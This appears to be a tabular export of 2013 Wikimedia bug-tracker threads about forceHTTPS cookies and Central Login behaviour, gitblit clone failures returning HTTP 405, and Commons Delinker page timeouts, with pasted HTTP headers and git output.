+260233,forceHTTPS session cookie placed even with HTTPS opt-out set,"If you can reproduce this now that you've logged out and logged back in, please file a new bug with specific instructions on reproducing.",,,1381853735,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+260226,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+Okay, just tried one more thing.  Clearing the cookies, logging out, and logging back in.  That worked.  But still, I should not have ever gotten into the state I was in of it forcing me into HTTPS, so something is still wonky, even if intermittently so.",,,1381705099,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0
+260222,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+Just realized something.  One of the cookies was ""wikipedia.org"".   If I remember correctly, then before there were separate cookies for en.wikipedia.org, fr.wikipedia.org, etc.  Did someone do an optimization to use only one cookie per domain and then forget to give us the ability to opt out  since there are no preferences users can set on ""wikipedia.org"", just on the individual sites?",,,1381703793,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,1
+260216,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+I'm getting forced into using HTTPS again today, so I'm reopening this bug.  Not only that, but clearing the cookies doesn't help.  If do that, then I get the popup message:
+Central login
+You are centrally logged in as XXXXXXX. Reload the page to apply your user settings.
+
+And 15 different new HTTPS cookies added:
+commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary.
+
+I am using Firefox 24.0.",,,1381702355,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+260209,forceHTTPS session cookie placed even with HTTPS opt-out set,"Thanks for checking, Brad.",,,1381426328,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+260205,forceHTTPS session cookie placed even with HTTPS opt-out set,"I don't know why it's not on that release notes page, but I just checked on tin and it is included in the version of CentralAuth in /a/common/php-1.22wmf20/extensions/CentralAuth.",,,1381422212,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+260199,forceHTTPS session cookie placed even with HTTPS opt-out set,Is this in fact in wmf20? I don't see it in the release notes in https://www.mediawiki.org/wiki/MediaWiki_1.22/wmf20,,,1381391926,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+260193,forceHTTPS session cookie placed even with HTTPS opt-out set,%%%*** Bug 55368 has been marked as a duplicate of this bug. ***%%%,,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+260189,forceHTTPS session cookie placed even with HTTPS opt-out set,"Marking this fixed, since the patch is merged. It looks like this just missed being included in 1.22wmf19, so it should go out to WMF wikis with 1.22wmf20. See https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule.
+
+Unless, of course, Chris or someone wants to backport it (which would probably happen then on Monday).",,,1380298508,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,4,True,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+260185,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 merged by jenkins-bot:
+Explicitly clear forceHTTPS cookie when insecure
+
+https://gerrit.wikimedia.org/r/86101",,,1380233997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+260180,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 had a related patch set uploaded by Anomie:
+Explicitly clear forceHTTPS cookie when insecure
+
+https://gerrit.wikimedia.org/r/86101",,,1380205862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+260177,forceHTTPS session cookie placed even with HTTPS opt-out set,"I wonder if this is covered by anomie's https://gerrit.wikimedia.org/r/#/c/85776/ . Or not.
+
+For the records: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#Forced_secure_connection...again...
+https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#http_login_issue",,,1380197962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+56513,Visiting an http address when logged in via https triggers Central Login notification?,"Copying from https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574338454#Log-in.2FLog-out.2C_Skins_problem though this seems to cover two aspects:
+
+Upper right corner: Cologne Blue skin not showing, notice appears ""CENTRAL LOGIN. You are centrally logged in as Carrite. Reload the page to apply your user settings."" Which doesn't work. Log-out fails. Ridiculous.  24.20.128.148
+
+  When I get this message, I wait a few seconds then hard-refresh the page 
+  (it's Ctrl+F5 in Firefox). That usually fixes it. —Redrose64
+
+    I believe loading any page would apply settings, not just reloading 
+    the previous one, but I may be wrong. —πr2 
+
+      Small guess, the JS that does the login redressing only works for 
+      Vector and Monobook. And it seems there is a problem that every time 
+      you visit a http address while logged in over https, you get the 
+      'central login, you are centrally logged in as' notification for 
+      every page view. I'm seeing this as well right now. —TheDJ
+
+--------------------------
+**Version**: master
+**Severity**: normal",High,80.0,1380040020,1382649797.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-f6e3gt22f74enu5oipj3,task_description,resolved,True,c2,3,True,False,True,3,True,1,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+258756,Visiting an http address when logged in via https triggers Central Login notification?,"I confirmed with mark that Varnish is handling all non wikipedia (and non ipv6/https) traffic, and I haven't seen anyone complaining about this issue again. So I think the varnish change successfully prevents the issue. Please reopen if anyone sees this happening again.",,,1382649797,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,8,True,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+258753,Visiting an http address when logged in via https triggers Central Login notification?,That is my understanding of it.,,,1380308192,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+258748,Visiting an http address when logged in via https triggers Central Login notification?,"Varnish ignores XVO, so the solution is to try to reproduce XVO in static Varnish configuration? So does that mean it's also ignoring other cookies specified in XVO, such as metawikiLoggedOut, centralauth_LoggedOut, mf_useformat, and stopMobileRedirect that are in the header quoted in comment 2?",,,1380300562,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+258742,Visiting an http address when logged in via https triggers Central Login notification?,"I talked with Mark about this. Since varnish ignores XVO, we need a specific VCL rule for varying on forceHTTPS.
+
+Mark added https://gerrit.wikimedia.org/r/#/c/86268/1 to do that.",,,1380299492,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+258738,Visiting an http address when logged in via https triggers Central Login notification?,"Actaully, it looks like MobileFrontend has already setting forceHTTPS in the XVO list. So it seems like Varnish isn't respecting that?",,,1380151449,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+258734,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 merged by jenkins-bot:
+Vary on forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/86044",,,1380151327,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258731,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 had a related patch set uploaded by CSteipp:
+Vary on forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/86044",,,1380149023,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258726,Visiting an http address when logged in via https triggers Central Login notification?,"I just hit this bug myself. I was logged in via HTTPS, but every time I go to http://meta.wikimedia.org/ it leaves me on the HTTP site and logs me in via Central login.
+
+I have both the metawikiforceHTTPS and forceHTTPS cookies set to true.
+
+Here are all the headers from the Request and Response:
+
+Response Headers
+Accept-Ranges	bytes
+Age	30292
+Cache-Control	private, s-maxage=0, max-age=0, must-revalidate
+Connection	keep-alive
+Content-Encoding	gzip
+Content-Language	en
+Content-Length	16558
+Content-Type	text/html; charset=UTF-8
+Date	Wed, 25 Sep 2013 22:24:33 GMT
+Last-Modified	Wed, 25 Sep 2013 13:59:37 GMT
+Server	Apache
+Vary	Accept-Encoding,Cookie
+Via	1.1 varnish, 1.1 varnish
+X-Cache	cp1054 hit (15), cp1068 frontend hit (2123)
+X-Content-Type-Options	nosniff
+X-Powered-By	PHP/5.3.10-1ubuntu3.6+wmf1
+X-Varnish	2043118996 3533212360, 1488879432 1469275617
+X-Vary-Options	Accept-Encoding;list-contains=gzip,Cookie;string-contains=metawikiToken;string-contains=metawikiLoggedOut;string-contains=metawikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect;string-contains=forceHTTPS
+
+Request Headers
+Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Encoding	gzip, deflate
+Accept-Language	en-US,en;q=0.5
+Cache-Control	no-cache
+Connection	keep-alive
+Cookie	metawikiforceHTTPS=1; forceHTTPS=1; stopMobileRedirect=true; centralnotice_bucket=0-4.2; mediaWiki.user.sessionId=ox79ZiUXx2F4mdQgHKLUS2NBGB34Iut6; uls-previous-languages=%5B%22en%22%5D; optin=beta
+Host	meta.wikimedia.org
+Pragma	no-cache
+User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0",,,1380148436,,PHID-USER-a5pveeqqwaddgfjiv2fq,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+258720,Visiting an http address when logged in via https triggers Central Login notification?,"What it sounds like is happening is that the login cookies are being set as secure, but the forceHTTPS cookie isn't being set so reloading doesn't result in a redirect to https.
+
+I suspect this may have been fixed with Gerrit change 85776, which will be deployed along with 1.22wmf19 (see https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule). Unless Chris is going to include it with his CentralAuth deploy later today, in which case it might go out sooner.",,,1380120197,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+56417,First clone for a repository from gitblit fails with HTTP 405,"This is weird, but reproducible.  The *first* time you try to clone a repository in a directory with:
+
+git clone https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git
+
+it fails with:
+
+Cloning into 'SomeExtension'...
+error: RPC failed; result=22, HTTP code = 405
+fatal: The remote end hung up unexpectedly
+
+The second time, it succeeds.  I've reproduced it with multiple extensions (e.g. UploadWizard) on both Labs and my own machine.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**Whiteboard**: aklapper-moreinfo",High,80.0,1379750640,1395435134.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-clkereghqucvvv2xs4zj,task_description,resolved,True,c2,3,False,False,False,3,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+252807,First clone for a repository from gitblit fails with HTTP 405,"Seems to be fixed.  I tested with one I'm pretty sure has never been on my machine, and it worked on the first try for me too.",,,1395435134,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+252800,First clone for a repository from gitblit fails with HTTP 405,"(In reply to Matthew Flaschen from comment #0)
+> The *first* time you try to clone a repository in a directory with:
+> git clone
+> https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git
+> it fails with:
+> 
+> Cloning into 'SomeExtension'...
+> error: RPC failed; result=22, HTTP code = 405
+> fatal: The remote end hung up unexpectedly
+
+Tried in a separate local tmp directory and had no problems.
+Does anybody still see this problem? (Or: What am I doing wrong?)
+
+$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/AbuseFilter.gitCloning into 'AbuseFilter'...
+remote: Counting objects: 1022, done
+remote: Finding sources: 100% (897/897)
+remote: Getting sizes: 100% (618/618)
+remote: Compressing objects:  99% (667197/667198)
+remote: Total 8858 (delta 32), reused 7967 (delta 0)
+Receiving objects: 100% (8858/8858), 22.07 MiB | 1.19 MiB/s, done.
+Resolving deltas: 100% (5990/5990), done.
+Checking connectivity... done.
+$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/UploadWizard.git
+Cloning into 'UploadWizard'...
+remote: Counting objects: 1528, done
+remote: Finding sources: 100% (1424/1424)
+remote: Getting sizes: 100% (1061/1061)
+remote: Compressing objects:  99% (678617/678618)
+remote: Total 10560 (delta 92), reused 9136 (delta 0)
+Receiving objects: 100% (10560/10560), 32.83 MiB | 1.19 MiB/s, done.
+Resolving deltas: 100% (7141/7141), done.
+Checking connectivity... done.
+$:andre\>",,,1394717567,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,True,,,28,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+252795,First clone for a repository from gitblit fails with HTTP 405,"Huh? How could a POST request become a GET request? Some sort of Varnish misconfiguration?
+
+POST /git/mediawiki/extensions/AssertEdit.git/git-upload-pack HTTP/1.1
+User-Agent: git/1.8.4
+Host: git.wikimedia.org
+Accept-Encoding: gzip
+Content-Type: application/x-git-upload-pack-request
+Accept: application/x-git-upload-pack-result
+Content-Length: 324
+
+006fwant 8042c39f1df86789e50f04712c15a1c219dbb178 multi_ack_detailed no-done side-band-64k thin-pack ofs-delta
+0032want 045a6acef5ad87bfa6a580c2b09295e5d761105c
+0032want 523feba3de364984f5b099a5ea029254c9c4df23
+0032want 76271fbc23b797b0c3340733e91432ac9154d44e
+0032want 8042c39f1df86789e50f04712c15a1c219dbb178
+00000009done
+HTTP/1.1 405 HTTP method GET is not supported by this URL
+Pragma: no-cache
+Content-Type: text/html;charset=ISO-8859-1
+Cache-Control: must-revalidate,no-cache,no-store
+Server: Jetty(7.6.8.v20121106)
+Content-Length: 1490
+Accept-Ranges: bytes
+Date: Thu, 26 Sep 2013 07:13:13 GMT
+X-Varnish: 1193742703
+Age: 0
+Via: 1.1 varnish
+Connection: keep-alive
+X-Cache: cp1044 miss (0)
+
+<html>
+<head>
+<meta http-equiv=""Content-Type"" content=""text/html; charset=ISO-8859-1""/>
+<title>Error 405 HTTP method GET is not supported by this URL</title>
+</head>
+<body><h2>HTTP ERROR 405</h2>
+<p>Problem accessing /git/mediawiki/extensions/AssertEdit.git/git-upload-pack. Reason:
+<pre>    HTTP method GET is not supported by this URL</pre></p><hr /><i><small>Powered by Jetty://</small>
+[...]",,,1380180548,,PHID-USER-3ampiwske4lc434cm6ot,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1
+252786,First clone for a repository from gitblit fails with HTTP 405,"Same here.
+
+The Git Repos that start with gerrit.wikimedia.org work fine, just those at git.wikimedia.org are not working.",,,1380179445,,PHID-USER-wtbw6n3qdyre3vir7o3z,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+252781,First clone for a repository from gitblit fails with HTTP 405,Is anyone actually looking into this?,,,1380179388,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,4,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+252776,First clone for a repository from gitblit fails with HTTP 405,"I can reproduce that as well. And yes, it is weird.
+It seems however that only cloning from gitblit is affected. Cloning
+directly from gerrit works as expected:
+
+ git clone https://gerrit.wikimedia.org/r/mediawiki/extensions/AJAXPoll",,,1379752914,,PHID-USER-pntojlcbclwhuip53bix,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+56122,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Requesting https://commons.wikimedia.org/wiki/User:CommonsDelinker/commands?action=edit often returns 
+
+HTTP 504: Gateway Timeout. 
+
+This does not happen when requesting the page with a high frequence but if you do it e.g. once an hour. Just look at https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&action=history where I dump the profiling report of this page using https://commons.wikimedia.org/wiki/User:Rillke/profile.js -- about every third request fails.
+
+Other users experience this issue as well:
+https://commons.wikimedia.org/w/index.php?title=Commons:Administrators%27_noticeboard&oldid=104206956#Extremely_slow_performance_to_open_edit_interface_of_COM:CDC
+
+If I remember correctly, this is an issue for a long time. Updating the page via API often works without any issues (but is slow). The page is regularly queried and updated by a bot: http://toolserver.org/~delinker/helper.txt
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53577
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49734",High,80.0,1379160000,1412966568.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-dh2vakf5sbvxwgt7snat,task_description,resolved,True,c2,3,False,False,False,2,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+235223,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to Andre Klapper from comment #14)
+> Is that still an issue experienced?
+
+Sorry for the late reply.. Nope. Worked fine in the last months.
+
